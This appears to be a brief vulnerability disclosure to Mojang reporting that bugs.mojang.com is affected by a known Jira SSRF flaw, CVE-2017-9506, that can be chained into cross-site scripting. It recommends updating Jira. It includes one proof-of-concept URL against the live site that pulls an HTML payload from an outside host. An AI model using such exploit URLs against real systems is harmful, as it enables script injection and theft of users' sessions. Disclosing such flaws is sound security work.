bugs.mojang.com is vulnerable to SSRF

bugs.mojang.com is vulnerable to https://nvd.nist.gov/vuln/detail/CVE-2017-9506

Combining that SSRF vulnerability with an XSS payload it is possible to execute JavaScript in the context of bugs.mojang.com

for example: https://bugs.mojang.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://oliverhough.cloud/x.html

I would advise that you update Jira